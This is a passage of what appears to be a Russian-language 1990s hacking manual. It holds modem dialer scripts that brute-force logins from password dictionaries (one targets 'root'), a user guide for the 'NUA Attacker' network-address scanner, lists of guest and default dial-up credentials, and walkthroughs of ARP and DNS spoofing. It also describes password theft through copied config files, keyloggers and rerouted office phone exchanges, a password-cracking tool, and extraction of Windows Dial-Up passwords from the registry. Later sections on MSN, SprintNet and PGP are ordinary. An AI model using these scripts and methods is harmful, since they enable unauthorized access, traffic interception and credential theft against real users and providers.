LOGIN\_TRIES=0

DIC(1)=C:\2\thc-lh09\w1.w

#NOCARRIER

BEEP

BEEP

BEEP

LOG(NO CARRIER)

LOG(ON $DATE $TIME)

LOG(AT $DIC(1))

LOG()

GOTO(#START)

#START

LOG(------------------- ---------)---- -------------)

LOG(TARGET : $PHONE\_NR ON $DATE - $TIME)

LOG()

:1

LOG(Dialing ...)

HANGUP

DIAL

LOG($STRING)

WAIT4STRING(30,.^M,3,GOTO(1),PASS)

:2

set string=

SEND\_NEXT\_DIC(1)

wait(1)

LOG($DIC(1))

; да, регистрироваться с каждой попытки!

WAIT4STRING(15,.^M,3,GOTO(3),PASS)

GOTO(2)

:3

LOG\_SESSION\_ON

SEND()

SEND(?)

SEND(HELP)

SEND()

LOG()

LOG(!!!!! WE GOT THROUGH !!!!!!)

LOG(Password : $DIC(1))

LOG()

BEEP

BEEP

BEEP

BEEP

BEEP

HANGUP

GOTO(#END)

#END

**Четвертый пример скрипта**

Это скрипт предназначен исключительно для платформ Telnet.

#DEFINE

init\_modem=z

init\_data=8n1

LOGFILE=xxxxxx.log

PHONE\_NR=xxxxxx

DIAL\_TRIES=0

LOGIN\_TRIES=0

DIC(1)=D:\hackusr\dictbig.txt

;dic(2)=d:\hackusr\bigdict2.txt

;dic(3)=d:\hackusr\bigdict3.txt

#NOCARRIER

LOG(NO CARRIER)

LOG(ON $DATE $TIME)

LOG(AT $DIC(1))

LOG(returning ...)

GOTO(#START)

#START

HANGUP

LOG\_SESSION\_ON

LOG()

log()

log( HaCK ATTeMPT STaRTeD ......)

log()

log( TaRGeT: $PHONE\_NR )

log( DaTe: $DATE )

log( TiMe: $TIME)

log()

log()

log( ......DiaLiNG)

dial

log()

log( ......CoNNeCTeD!)

log()

log()

wait(5)

:1

wait4string(1,^M,5,goto(#start),sername>)

send(fh65)

:2

wait4string(1,^M,5,goto(#start),ocal>)

send(connect 189.25.56.7)

:3

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait4string(1,^C,5,goto(4),ogin:)

send(root)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

:4

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait4string(1,^D,5,goto(4),assword:)

send\_next\_dic(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

:5

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

:6

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

:7

beep

beep

beep

beep

beep

beep

beep

beep

beep

log()

log()

log()

Log(...... HaCK ATTeMPT WaS SuCCeSSFuLL!!!!!!!!!!!!!!)

log()

log( TaRGeT: $PHONE\_NR DaTe: $DATE TiMe: $TIME)

log()

log()

log()

log( ACCouNT: root)

log( PaSSWoRD: DIC(1))

log()

log()

log()

#END

**Сканирование адресов пользователей**

Операции по сканированию сетевых адресов мы разберем на основе весьма

известной программы Network User Address Attacker. Эта программа известного

сообщества P/H/A. NUA Attacker написан на Turbo C 2.0 хакером Доктором

Диссектором. Network User Address Attacker сканирует клавишную панель

SprintNet. При этом программа способна распознать ошибки кодов на SprintNet

и других типах соединений. Каждый отсканированный сетевой адрес может

зарегистрироваться под logfile с описанием возвращенного кода ошибки или

краткой суммой данных главной системы. Таким образом, программа

дозванивается до Net и сканирует сетевые адреса пользователей. Диапазон

сканирования задается атакующим. Кроме этого, в прилагаемом к программе

файле SND390.TXT имеется список некоторых модемных телефонных номеров. Вы

можете, конечно, использовать только известный вам номер, то есть тот номер,

который наиболее близко соответствует вашему региону.

Эта программа может быть наиболее полезной при поиске сетей с

коммутирующими пакетами или на основе UNIX. Автор этой программы надеется,

что любые ошибки, найденные в ней, будут переданы через сообщество P/H/A

хакерам Доктору Диссектору, Темному Шлему, Корейцу Подавителю или Анонимному

Анархисту.

**Файлы программы**

**NUAA.EXE**

Программа NUA Attacker.

**NUAA.DOC**

Документация

**README.PHA**

Прочтите это сначала!

**SND390.TXT**

Список телефонных номеров Net.

**NUAA.CFG**

Отчет о текущей атаке и конфигурации модема.

**NUAFILE.PHA**

Список сетевых адресов пользователей.

**LOGFILE.PHA**

Список сетевых адресов пользователей, составленных атакующим. В этом

файле также содержатся коды ответа NUA, полученные атакующим.

Файлы NUAfile и Logfile могут модифицироваться. Файлы NUAFILE.PHA и

LOGFILE.PHA -- это обыкновенные текстовые файлы, вы можете редактировать их

в любом текстовом редакторе. Кроме того, если файл уже существует, то любые

данные добавятся к тому имени файла, которые существуют в файле с меткой

EOF.

**Запуск программы**

Для запуска NUA Attacker введите с вашей консоли следующее:

C:\ >NUAA [/I]

Параметр /I позволяет вам начать выполнение программы без инициализации

модема перед сканированием адресов. В этом случае, когда вы выберите команду

Begin attack (Начать нападение), NUA Attacker сразу начнет сканирование

адресов (если вы предварительно зарегистрировались в системе, то теперь вы

снова должны зарегистрироваться на Net через приглашение @).

**Настройка режима сканирования**

Настройка сканирования адресов осуществляется через команду Setup

attack. В появившемся диалоговом окне выполните настройку следующих опций.

**Phone Number**

Телефонный номер Net (SND390.TXT).

**Starting NUA**

Начальный сетевой адрес пользователя.

**Ending NUA**

Конечный сетевой адрес пользователя.

**Timeout**

Время ожидания ответа от сетевого адреса пользователя.

**Log filename**

Имя файла, в который будут выводится сообщения об ошибках и информация

о неудачных попытках соединения.

**NUA filename**

Имя файла, в который будут выводится сетевые адреса пользователей (по

умолчанию это файл NUAFILE.PHA).

**Decimals**

Включить или отключить режим десятичного сканирования.

Пользователи Net используют сетевые адреса в формате XXXXXX.XX. NUA

Attacker поддерживает сканирование десятичных чисел.

Например, если вы настроите эту опцию так:

Starting NUA: 619100.10

Ending NUA: 619200.10

то программа начнет сканирование с 619100.10, следующий адрес

сканирования соответствует 619100.11, затем пойдет 619100.12 и так далее.

При настройке сканирования вы можете воспользоваться следующими

горячими клавишами:

**ESC**

Выйти из диалогового окна Setup attack без сохранения модифицированных

параметров.

**LT-S**

Сохранить модифицированные параметры в память компьютера.

После того, как вы выполните настройку сканирования, вы можете также

сохранить ее на диск выбрав из меню File команду Save options. При этом

сохранятся и все модифицированные параметры настроек модема.

**Несколько слов по поводу формата сетевого адреса**

Допустим, что вы произвели настройку так:

Starting NUA: 6191 \*WRONG\*

Ending NUA: 619100 \*RIGHT\*

Это означает, что сканирование проходит в диапазоне с 6191 по 6199 с

пропуском 6200. Поэтому вы должны настроить параметры сканирования так:

Starting NUA: 619001 \*RIGHT\*

Ending NUA: 619100 \*RIGHT\*

То есть, оба числовых поля должны иметь одинаковую длину.

**Настройка модема**

Настройка модема осуществляется через диалоговое окно Modem parameters.

**COM Port**

Порт, который использует ваш модем.

**Baud Rate**

Скорость передачи данных в бодах

(например, 9600).

**Initialization**

Инициализация терминальной строки перед началом сканирования. Эта опция

также поддерживает Hayes-совместимые модемы.

**Dial Prefix**

Префикс перед телефонным номером.

**Dial Suffix**

Символ, который будет стоять после телефонного номера. Этот символ

прошивает ваш модем соответствующим параметром.

**Hangup**

Прервать последовательность передаваемых данных.

**Процесс сканирования**

Выберите опцию Begin attack. После этого произойдет следующее:

1. Инициализация модема.

2. Набор номера Net. Этот номер соответствует настройкам, произведенным

в диалоговом окне Setup attack.

3. Ожидание приглашения TERMINAL= и загрузка параметра D1. Параметр D1

означает, что ваш компьютер вошел в сеть.

4. Ожидание приглашения @.

5. Сканирование. Сканирование соответствует параметру Starting NUA

диалогового окна Setup attack.

После того, как сканирование сетевых адресов закончится, NUA Attacker

выйдет из сети.

В процессе сканирования вы можете воспользоваться следующими горячими

клавишами:

**ALT-B**

Передать в Net сигнал, соответствующий прерыванию соединения.

**ALT-H**

Повесить трубку. В этом случае программа начнет работать в режиме

Pause.

**ALT-X**

Повесить трубку, выйти и прекратить атаку.

**ESC**

Временно остановить процесс сканирования.

В процессе нападения на экране вашего монитора будут появляться

следующие сообщения:

**Starting NUA**

Сетевой адрес, который программа начинает сканировать.

**Ending NUA**

Отсканированный сетевой адрес.

**Connections**

Количество соединений, найденное в текущем сканировании.

**Current NUA**

Сетевой адрес, который программа отсканировала в данный момент времени.

**Log**

Logfile.

**NUA**

NUAfile.

**Time/Elapsed**

Текущее время и время сканирования.

**Status**

Код соединения и/или соответствующая информация о состоянии модема.

**Last**

Код последнего соединения и/или соответствующая информация о состоянии

модема.

В диалоговом окне Setup attack обратите внимание на переключатель в Bad

Pad. Если выбрана опция Y, это означает, что программа посылает в сеть

строку 10 и каждый раз ждет две секунды до тех пор, пока не

появится приглашение @ или TERMINAL=. (то есть, до непосредственной

регистрации на Net). Некоторые клавиатуры медленно реагируют на регистрацию

в сети. Особенно это относится к высоким скоростям. Поэтому, если вы не

можете зарегистрироваться, активизируйте параметр Y.

**Кредитные карточки и Internet**

Пересылая номер кредитной карточки через Internet, он попадает к

продавцу, который производит так называемую авторизацию (происходит связь с

организацией, ответственной за обработку транзакций). В случае

положительного ответа на запрос, необходимая сумма денег резервируется,

заказанный товар отправляется покупателю, затем деньги снимаются со

специального банковского счета и перечисляются на счет продавца.

Понятно, что если авторизация не будет осуществлена немедленно, то

покупатель может обмануть продавца путем нескольких заказов подряд у

сторонних продавцов.

Проблема немедленной авторизации в Internet пока еще полностью не

решена (многие фирмы используют обыкновенный модем для связи с процессором,

каждый из которых, имеет, как правило, разный формат сообщений).

В настоящее время кредитные карточки и Internet тесно связаны с фирмой

CyberCash (http://www.cybercash.com). CyberCash через Public Key

Cryptography шифрует всю конфиденциальную информацию, касающуюся кредитной

карточки, связь с процессорами осуществляется с помощью так называемого

центрального интерфейса CyberCash Gateway, покупатель инсталлирует на свой

компьютер программу CyberCash Wallet, которая в зашифрованном виде хранит

номер кредитной карточки, продавец осуществляет свою деятельность

посредством платежного сервера и стандартных скриптов CGI.

**CompuServe и бесплатный Internet**

Через CompuServ можно получить доступ к Internet. Для этого необходимо

инсталлировать Compuserve, запустить Membership Sign-Up, в разделе Страна не

указывать Россию, получить временный пароль и логин и дозвониться к Infonet

по одному из следующих московских телефонов: 9150001, 9150005, 9715101,

9150033.

**PlusCentro и бесплатный Internet**

На серевере PlusCentro через http://www.plus.centro.ru существует

гостевой вход. На самом деле это вполне функциональный доступ к Internet.

Необходимо только дозвониться по одному из следующих московских телефонов:

4901595, 4909419, 4909363, 4909371, 4909491.

Подробности можно узнать по этому голосовому телефону: 4909424.

**Demos и бесплатный Internet**

Компания Demos позволяет использовать демонстрационный вход в Internet.

Для этого необходимо дозвониться по одному из следующих московских

телефонов: 9613200, 2410505, 9566285, 9566286. В поле Login нужно вписать

\_demo, а в поле Password набивается пароль в виде demo.

**Защита системы? Всегда!**

Так называемый класс защищенности А был определен в свое время

Министерством обороны США в знаменитой "Orange book". Сейчас многие сети

базируются на неоднородных программно-аппаратных системах и используют

слишком разные сетевые сервисы. Так возникают вполне определенные дыры

практически на всех уровнях работы сети, включая верификацию пользователей.

Самая простая защита сети может осуществляться на уровне самой

операционной системы, база которой, собственно, и есть сеть (аутентификация,

авторизация, разграничение доступа, мониторинг, аудит).

Впрочем, неправильная конфигурация такой системы тут же оставляет

огромную брешь в защите сети.

Более сложная защита сети уже зависит от профессионалов, которые

обслуживают сеть и осуществляют поиск и исправление ошибок в операционной

системе или корректирование некоторых сетевых установок по умолчанию

посредством так называемого сканера безопасности системы.

**Ложные DNS-запросы в Internet**

В любом конкретном случае обмен датаграммами в Internet осуществляется

между двумя удаленными хостами посредством заголовка пакета и так

называемого поля данных. Заголовок -- это, прежде всего, идентификация, а в

поле данных входит некоторый пакет высокого уровня. В частном случае, любой

IP-пакет входит в состав протокола транспортного уровня TCP. С другой

стороны, пакет IP является протоколом канального уровня локальной сети, т.е.

межсетевым протоколом, который позволяет передавать датаграммы в сеть.

Встает вопрос об адресации передаваемых данных. Для этого используется

32-разряднный адрес того же протокола IP. Казалось бы, что достаточно

указать в заголовке IP в стандартном поле Destination Address адрес IP

атакуемого узла. Но это не так. Любой пакет IP уже содержится внутри

аппартного пакета локальной сети, т.е. любая атака на хост невозможна без

аппаратной адресации пересылаемых датаграмм. Это означает, что в простом

случае (адресация только в одной подсети) для атаки на хост, как минимум,

необходимо знать его адрес локальной сети (Ethernet-адрес) или

соответствующий адрес маршрутизатора. В этом случае, перед любым хакером

встает проблема удаленного поиска информации относительно адресов локальной

сети.

Пусть на атакуемом узле имеется некоторый алгоритм удаленного поиска

данных. Тогда хакер выбирает сегмент сети, используя дырявый протокол ARP,

(пусть даже таблица ARP в установках атакуемой опреционной системы настроена

весьма корректно) посылает запрос Ethernet на атакуемый адрес и получает

необходимое соответствие между адресами IP и адресами локальной сети. Нужно

сказать, что этот запрос является широковещательным и в нем указывается

адрес маршрутизатора, являющийся адресом по умолчанию атакуемой операционной

системы. Маршрутизатор, у которого всегда имеется список ARP с информацией

(все данные вносятся посредством того же ARP-протокола) об адресе IP и

адресе локальной сети, получает запрос, тут же вносит соответствующую запись

о хосте хакера в список ARP и благополучно отправляет хакеру искомый адрес

локальной сети. Это только начало. Теперь хакер перехватывает вышеназванный

ARP-запрос и посылает в сеть ложный ARP-ответ, который, по сути, и является

ничем иным, как хостом! А это уже означает, что хакер вполне спокойно

контролирует сетевой трафик атакуемого хоста.

Итак, хакер присваивает атакуемому сегменту сети ложный IP-адрес,

входит в сеть, набивает "ту самую" команду, устанавливает в операционной

системе свой адрес IP, посылает уже в свою сеть широковещательный запрос, а

тупой маршрутизатор безукоризненно обновляет в своем списке адреса таким

образом, что любые сетевые пакеты начинают автоматически направляться на

аппаратный адрес локальной сети хакера.

Только два субъекта знают о том, кто получил широковещательный запрос

ARP. Ими являются хакер и глупый маршрутизатор, на который приходит пакет,

непосредственно направленный на беззащитный ( пусть даже стоит занаменитый

FireFall-1 фирмы Check Point Software Technologies) адрес атакуемого узла. И

в самом деле, хост-жертва, ничего не подозревая (согласно установкам по

умолчанию сетевой операционной системы) благополучно передает датаграммы на

хакерский узел ARP, который, в свою очередь, отсылает принятый пакет

сетевому маршрутизатору, а тот, понятно, дождавшись ответа, отсылает любую

информацию уже не через обманутый хост ARP, а на атакуемый узел. Так как

полный перехват пакетов между ложным сервером и узлом хакера проходит в

промежуточной стадии, то возникает так называемая петлевая схема перехвата

информации. Полный перехват возможен лишь в том случае, когда хакерский

сервер ARP работает по так называемой мостовой схеме перехвата, согласно

которой в качестве хакерского запроса ARP указывается любой незанятый

(proxy-сервер) IP-адрес атакуемой сети.

Плавно переходим к DNS-серверам. Последние используют в своих

обращениях к удаленным узлам 32-битные адреса IP, мнемонически заключенные в

четырехразрядную буквенную комбинацию, понятную каждому ламмеру. Любой хост

может получить соответствующий DNS у ближайшего информационного сервера DNS

по известной системе Domain Name Server через сетевой протокол DNS. Просто

хост посылает запрос на известный IP-адрес DNS-сервера свой IP-адрес и имя

сервера. Сервер DNS штудирует собственную базу данных, находит IP-адрес и

отправляет на хост соответствующий ответ DNS. Схема весьма примитивная. Если

же сервер DNS не находит искомую буквенную комбинацию, то он отсылает запрос

на так называемый корневой сервер, который, в свою очередь, сверяет

информацию с файлом настроек root.cache. Так происходит до тех пор, пока имя

хоста не будет найдено в Internet.

Вариант первый. Атакуемая сеть ожидает некоторый

DNS-запрос. Хакер сидит в сегменте сети (т.е. он знает все параметры

ISSa/ISSb) или находится на пути сетевого удаленного траффика (обычное

примение ftp-команд get, put или ls). Вначале хакер извлекает из DNS-запроса

номер отправителя порта UDP. Узнав, таким образом, имя сети, хакер посылает

пакет DNS на захваченный UDP-порт и уже в этом пакете осуществляет подмену,

и в конечном счете полностью перехватывает траффик между собой и удаленным

сервером.

Вариант второй. Хакер, маскируясь под настоящий

DNS-сервер и используя известную дырку (ограниченность идентифицируемых

пакетов) протокола UDP, напрямую пересылает на атакуемый узел не ложный

запрос DNS, а, напротив, ложный DNS-ответ. Атакуемый сервер спокойненько

принимает IP-адрес и, если он не совпадает с IP-адресом DNS-сервера,

DNS-ответ не идентичен DNS-запросу, DNS-ответ попал в порт DNS-запроса (в

крайнем случае хакер просто начинает перебирать 1023 взможных портов UDP) и,

если поле идентификатора запроса идентично полю данных DNS-ответа, то хакер

проникает в сеть путем внедрения фиктивного DNS-ответа в атакуемый хост.

**Филипп Циммерманн и его скандально известное детище Pretty Good Privacy**

Речь идет о самом мощном инструменте криптографической защиты --

алгоритме шифровки PGP, механизм обработки ключей которой продуман настолько

тщательно, что взлом возможен лишь через лобовую атаку. Кроме этого PGP

весьма популярен и бесплатно распространяется через Internet. Сегодня

алгоритм шифровки PGP -- не признанный некоторыми официальными кругами

стандарт электронной переписки.

PGP - программа, работающая по так называемой схеме публичного и

секретного ключей. Публичный ключ могут узнать все. Секретный -- только

конечный пользователь PGP. Новое сообщение расшифровывается только через PGP

с помощью второго секретного ключа, т.е. сообщение зашифровывается публичным

ключом, отправляется и затем читается с использованием секретного ключа.

PGP 5.0 для Windows 95 или Macintosh можно легко скачать с популярного

сервера MIT.

**Взлом Internet**

Под термином взлом Internet подpазумевают несколько pазличных вещей.

Во-пеpвых: незаконное подключение к пpовайдеpу и так называемые "халявные"

подключения. Как это осуществляется? Самый пpостой ваpиант -- воровство.

Хакер крадет чужой паpоль. В наше вpемя пpи огpомном количестве недалеких

пользователей хакеру это дело не пpедставляет особого тpуда, так как

подавляющее большинство пользователей пользуется таким популяpным пакетом

e-mail как UUPC Чеpнова. А также некотоpые пpовайдеpы все еще пpедоставляют

вход в систему как online так и offline под одним и тем же паpолем. Хакеру

остается самое пpостое -- пеpеписать файл init aka init1 с каталога \UUPC.

Там будет пpописан как login так и password.

Более сложные ваpианты взлома Internet -- запуск на машине пользователя

виpусной программы или pезидентной, отслеживающей появление стpочки "ogin:".

Далее в отдельный файл записываются все нажатия клавиатуры.

Если пользователь использует Windows 95 и pаботает в Netscape,

используя SLIP и PPP, то хакер обpащает внимание на скpипты команд и файл с

pасшиpением .pwl (паpоль зашифpованный пpимитивным методом DES).

Если на машину пользователя отсутствует доступ, к pешению пpоблемы

хакер подходит дpугим путем. Большая часть соединений пpиходится на

телефонные линии. Практически в любом крупном офисе той или иной компании

имеется небольшая АТС. Для хакера пеpепpогpаммиpовать АТС так чтобы, звонки

с данного номеpа пеpеpоучивались на себя, не составляет особого труда. Далее

запускается теpминальная пpогpамма BBS с заставкой пpовайдеpа. Естественно,

пользователь покупается и вводит login и password. Далее выдается масса

ошибок, а затем линия разрывается.

**Взлом Internet 2**

Оказывается, что в Москве существует два необычных сервера,

пpедоставляющие доступ в Internet, причем, кроме обыкновенных юзеров,

услугами этих серверов пользуются хакеры, фрикеры и другой подобный народ.

Речь идет о CompuServe и America-On-Line.

CompuServe считается самой легкой системой, т.е. легко ломающейся. Для

этого хакер находит дистрибутивные дискеты с программным обеспечением для

доступа к CompuServe и софт типа CreditWizard или Credit Master Comfake,

затем дозванивается до Scitor по телефону 9563589 и спокойно входит в сеть.

Scitor, как говорят хакеры, хорош тем, что доступ к ресурсам сети

предоставляется через сгенерированный выше описанным способом эккаунт, в то

время как SprintNet высылает информацию о логине и пароле пользователя на

адрес электронной почты.

В Москве сеть America-On-Line доступна через SprintNet (9280985,

9286344 или 5789119).

Непонятно, о чем и чем думают системные администраторы этих серверов.

**Интеллектуальный взломщик Internet**

Люди утверждают, что взломать InterNet возможно, а другие с криками

"Lamers must die" пытаются доказать, что это прикол и совсем не реально.

Хакеры утверждают, что пришло время поставить все точки над i.

Взлом Internet возможен! Причем сделать это можно не будучи хакером и

не обладая какой-то дополнительной информацией -- достаточно воспользоватся

уникальной программой InterNet Cracker (nethackers@valimar.poltava.ua).

Вероятно, она никогда не была бы представлена широкому кругу

пользователей и так бы и осталась лишь для internal usage, но исходные

тексты программы были украдены и в перекомпилированном виде, с убранным

авторством, ее стали продавать.

Как работает эта программа. Когда пользователь связывается с узлом

Internet, для входа необходимо ввести login (идентификатор пользователя) и

password (его пароль). В Unix существуют так называемые hard-coded

(стандартные) идентификаторы, поэтому для взлома системы хакеру остается

лишь найти соответствующий пароль.

InterNet Cracker позволяет находить пароли для пользователя с именем

root пользуясь оригинальным методом brute-force password spoofing

NetHackers.

Если после ввода имени на запрос login, хакера просят ввести Password,

то это и будет строкой, которую нужно указать программе. После запуска,

программа остается резидентной в памяти и отслеживает появление на экране

приглашения ввести пароль. Затем активизируется процедура подбора.

Пример:

1) inetcrk.exe password

2) хакер соединяется с провайдером

(любым DOS-терминалом)

3) появляется запрос имени login:

4) хакер вводит root

5) появляется строка password:

Если все сделано правильно, будет запущен главный модуль программы. О

его работе будет свидетельствовать мигающий экран. Подбор паролей начался!

Процесс подбора может занять от 1 до 5 минут, в зависимости от качества

связи и быстродействия компьютера. По окончании работы на экран будет выдано

несколько вариантов паролей. После этого хакер немедленно прерывает

соединение, чтобы на удаленном компьютере не осталось следов его работы.

Если в процессе работы происходит обрыв связи, то все результаты работы

будут неверны. Как правило, для нахождения действительно настоящего пароля

хакеру требуется провести несколько таких сеансов. Низкий процент попаданий

может быть связан с особенностями шифровки паролей на узле провайдера.

Единственным требованием для работы программы является ее запуск под

операционной системой MS-DOS. InterNet Cracker не может быть запущен под

Windows и на компьютере на котором находится Windows, т.к. в процессе работы

используются недокументированные функции DOS, которые не поддерживает

Windows.

**Бесплатный Internet**

**MTU Inform**

Через guest/mtu и dialup.mtu.ru

Телефоны: 9955555, 9955556.

**Caravan**

Через caravan/caravan www.caravan.ru

Телефон: 9951070.

**Caravan 2**

Через caravan/free и DNS 194.190.218.2

Телефон: 9951070.

**Caravan 3**

Через caravan/demo и DNS 193.232.120.226

Телефон: 3324768.

**Caravan 4**

Через free/caravan

Телефон: 3324768.

**Data Force**

Через 2889340 для получения демонстрационного доступа в сеть

Телефон: 9566749.

**Glas Net**

Через demo/demo123 или 2220990 для получения демонстрационного доступа

в сеть

Телефоны: 7194457, 9274111, 9953535.

**IBM Net**

Через e-mail: ispp@patron.com для получения демонстрационного доступа в

сеть

Телефоны: 2586435.

**Microdin**

Через guest/guest

Телефон: 9951001.

**Demos**

Через \_demo/demo

Телефон: 9613200.

**Mega Electronics**

Через test/test или guest/guest и www.mega.ru

Телефон: 9951070.

**Пароли Windows 95 для Dial-Up Networking**

Пароли Windows 95 для Dial-Up Networking хранятся в закодированном виде

в system.dat и user.dat. Один из методов вытаскивания пароля из этих файлов

проще всего сделать с помощью реестра. Просматриваем ключ

HKEY\_USERS>Default>RemoteAccess>Addresses, в котором прописаны все

соединения Dial-Up Networking и копируем их. Далее обращаемся к ключу

HKEY\_USERS>Default>RemoteAccess>Profiles и просматриваем список профилей для

каждого соединения. Копируем и их. В результате получается несколько файлов

с расширением .REG, в которых находятся все настройки для соединений, в том

числе и зашифрованные пароли. Переписываем их в другую папку уже на

собственный компьютер, запускаем их через двойной щелчок мыши и получаем

полную копию Dial-Up Networking со всеми настройками, номерами, логинами и

паролями.

**Cеть MSN**

MSN можно назвать глобальной сетью, так как в этой сети вы можете

отправлять и получать электронную почту, подключаться к конференциям и

разговорам, загружать и снимать файлы. При этом, загружаемые вами в сеть

файлы и ваша активность в ходе конференций и разговоров могут

рассматриваться, изменяться и стираться без уведомления управляющим форума.

Чтобы настроить параметры модема для работы в MSN, необходимо дважды

щелкнуть пиктограмму MSN на рабочем столе, нажать кнопку **Настройка** и просто

перейти к настройке модема. Диалоговое окно свойств модема в **Панели**

**управления** можно не использовать, так как параметры MSN имеют более высокий

приоритет.

Если у вас возникли проблемы при попытке регистрации в MSN, значит в

вашем регионе отсутствует телефонный номер для бесплатной регистрации.

Попробуйте в диалоговом окне **Настройка подключения** нажать кнопку

**Телефоны**, затем кнопку **Изменить**, выбрать номер вашего региона и повторить

попытку соединения.

Если установить соединение так и не удается, обратитесь в службу

поддержки Microsoft.

Конференции пользователей MSN несколько отличаются от конференций

Usenet глобальной компьютерной сети. В MSN группы конференций являются одной

из услуг сети MSN. Статьи этих конференций никем не рецензируются и не

предусматривают какой-либо ответственности авторов подобных статей.

В частности, это означает, что MSN не имеет собственного сервера

новостей с протоколом NNTP. Вы не можете посредством приложений типа Trumpet

Newsreader или Forte Agent получить доступ к конференциям MSN.

MSN среди прочих возможностей включает доступ к Internet. MSN полностью

интегрирована с обозревателем Microsoft Internet Explorer 4.0 и снабжена

рядом функций, призванных улучшить ваше сетевое путешествие.

Если вы видите **ALT** в папке **\Internet Newsgroups\Popular Newsgroups**,

значит вы имеете полный доступ к ресурсам глобальной компьютерной сети. По

умолчанию, т. е. сразу после установки MSN, вы имеете лишь ограниченный

доступ к ресурсам Internet.

Если у вас нет учетной записи в Internet, просто зарегистрируйтесь в

Microsoft Network.

Для этого достаточно воспользоваться расположенным на рабочем столе

значком MSN и следовать появляющимся на экране указаниям.

Чтобы вы смогли войти в MSN через своего поставщика услуг Internet,

корпорация Microsoft разработала новую технологию доступа Third Party Access

(TPA). Эта технология позволяет вам оплачивать время, проведенное в сети

MSN, только вашему провайдеру.

Вы можете получить доступ к сети MSN из Internet, используя даже версию

MSN 1.2.

Чтобы войти в сеть MSN через вашего поставщика услуг Internet, он

должен поддерживать протокол Point-to-Point Protocol (PPP) без каких-либо

сценариев, т. е. в режиме PPP не должно исполняться никаких команд. Если ваш

провайдер отвечает этим требованиям, проделайте следующие шаги:

n Откройте папку **Удаленный доступ к сети** и создайте

соединение с вашим поставщиком услуг Internet

посредством мастера **Новое соединение**

n Установите связь с вашим провайдером и войдите в

Internet

n Войдите в режим командной строки MS-DOS и наберите

**ping www.msn.com**. Если вы получили доступ к web-узлу

MSN, то вы увидите что-то похожее на это:

**Pinging machine-name IP-address with 32 bytes of data**

n Теперь щелкните левой клавишей мыши на пиктограмме

MSN, откройте диалоговое окно свойств **Settings**, выберите

**connect Using Another Internet Access Provider**, нажмите **OK**,

а затем **Connect**

Если вы используете Microsoft Network в качестве доступа к Internet и

являетесь членом MSN, вы можете иметь полный доступ к конференциям

пользователей Internet через MSN. С другой стороны MSN и Microsoft Internet

Explorer используют различные протоколы Usenet, поэтому вы не сможете в

обозревателе Microsoft Internet Explorer читать и публиковать статьи в

конференциях Internet через MSN.

Используйте для этого в MSN ресурс Newsreader.

Вы можете совместно использовать приложение telnet, рабочее соединение

TCP/IP и сеть MSN.

Для доступа в telnet через MSN вам необходимо:

n Установить приложение **Удаленный доступ к сети**

n Установить MSN 1.2 или выше

Запустить из папки Windows утилиту telnet.exe только после того, как

будет реализовано соединение TCP/IP.

Вы можете войти в MSN через вашего провайдера или войти в Internet

посредством услуг MSN. Для этого откройте папку **Сеть**.

Установив компоненты **Клиент для сетей Microsoft Network**, **Контроллер**

**удаленного доступа** и **TCP/IP**, добавьте к ним протоколы **NetBEUI** и **IPX/SPX**

**совместимый протокол**. В контроллере удаленного доступа для TCP/IP в качестве

типа драйвера укажите **Драйвер NDIS для расширенного режима**, а сами свойства

протокола TCP/IP настройте так:

n **IP-адрес:** Получить IP-адрес автоматически

n **Привязка:** Клиент для сетей Microsoft Network

n **Шлюз:** Незаполненный

n **Конфигурация WINS:** Включите распознавание WINS,

добавьте свой сервер, например 204.118.34.6 или

204.118.34.11 и отключите использование DHCP для

распознования WINS

n **Конфигурация DNS:** Отключить DNS

Оставьте ваше первое соединение удаленного доступа в покое и настройте

второе соединение удаленного доступа. В качестве типа сервера удаленного

доступа укажите

**PPP: Интернет, Windows NT Server, Windows 98**, а в дополнительных

параметрах отметьте **Программное сжатие данных**. В качестве допустимых сетевых

протоколов укажите только TCP/IP. В настройках TCP/IP опции **IP-адрес** и

**Адреса вводятся вручную** выберите в зависимости от инструкций вашего

поставщика услуг Internet. Кроме этого, сообщите системе использовать сжатие

заголовков IP и стандартный шлюз для удаленной сети.

Помните, что сервер www.msn.com к услугам MSN имеет отношение весьма

отдаленное.

**Сеть Sprint Network**

Сеть SprintNet -- глобальная сеть коммутации пакетов, одна из

крупнейших в мире в настоящее время. Cеть Sprint является непосредственным

развитием сети Telenet -- одной из первых общедоступных сетей коммутации

пакетов.

Владельцами сети являются крупные американские коммуникационные

компании

UTI и GTE. Их дочерней компании US Sprint принадлежит крупнейшая в мире

сеть оптоволоконных каналов, составляющая основу Sprint. К Sprint подключено

около 6000 host-компьютеров и шлюзов (gates) других фирм и организаций,

предоставляющих разнообразные справочно-информационные услуги и

обеспечивающих выход в другие сети.

Эта сеть считается безопасной, так как при работе с ней невозможна

потеря информации. При работе с электронной почтой вам предоставляется

специальный "ящик" на сервере, который подключен с помощью телепроцессора к

системе электронной почты. Сама система максимально продумана и имеет массу

команд. Под нее также есть и лицензионное программное обеспечение, которое

ставится на ваш компьютер вместе с сетью.

Работа с сетью Sprint ведется с помощью протокола Х25, который

обеспечивает пользователям виртуальный канал. Это значит, что каждый порт

сети имеет свой адрес, и если на другом адресе находится компьютер, то

запросто можно к нему подключиться. Для передачи все данные разбиваются на

порции и передаются отдельными линиями по одному каналу. Комплекс Sprint

эффективно использует системы связи, удешевляя стоимость задействованных

ресурсов и при этом позволяет ускорить работу с сетью.

Девиз Sprint -- конфиденциальность. Физически и аппаратно невозможно

проследить информацию, передаваемую сетью. О содержании файлов смогут узнать

только те, кому они непосредственно предназначаются. Никто никогда не узнает

адреса, имени и других сведений о вас, если вы этого не пожелаете.

Звонок на Sprint осуществляется самой обычной теpминалной программой.

Вы набиpаете номеp Sprint (928-6344, 928-0985, 342-8376, 913-7166, 578-9119

